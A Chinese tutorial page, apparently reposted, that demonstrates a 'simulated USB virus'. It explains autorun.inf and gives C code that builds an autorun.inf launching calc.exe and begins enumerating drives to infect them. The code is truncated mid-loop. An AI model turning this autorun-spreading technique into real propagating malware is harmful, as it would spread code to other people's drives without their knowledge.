最简单的模拟U盘病毒(Autorun.inf)

autorun.inf是我们电脑使用中比较常见的系统文件 ,其作用是允许在双击磁盘时自动运行指定的某个文件。
下面介绍几个api函数
1.dword getlogicaldrivestrings(dword nbufferlength, // size of bufferlptstr lpbuffer // drive strings buffer);
2.char *strncpy(char *dest,char *src,size_t n);第1个参数:char *strdest目的字符串指针。 第2个参数:const char *strsource源字符串指针。 第3个参数:size_t count  拷贝长度。 返回值:目的字符串指针。
下面是c/c++代码

#define _CRT_SECURE_NO_WARNINGS  #include     char *gstrAutoRun = "[autorun]                      open=calc.exe                         shell\open\Command=calc.exe                         shell\explore=资源管理器(&X)                          shell\explore\Command=calc.exe                          shellexecute=calc.exe                      shell\Auto\Command=calc.exe";    void Infect(char *pstrFilePath)  {      char strDriveStrings[MAXBYTE] = { 0 };      DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);      DWORD dwError = 0;      for (size_t i = 0; i 

以上就是 最简单的模拟U盘病毒(Autorun.inf)的内容,更多相关内容请关注PHP中文网(www.php.cn)!

登录后复制

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2552047.html

(0)
上一篇 2025年3月6日 06:21:53
下一篇 2025年3月2日 02:22:50

AD推荐 黄金广告位招租... 更多推荐

发表回复

登录后才能评论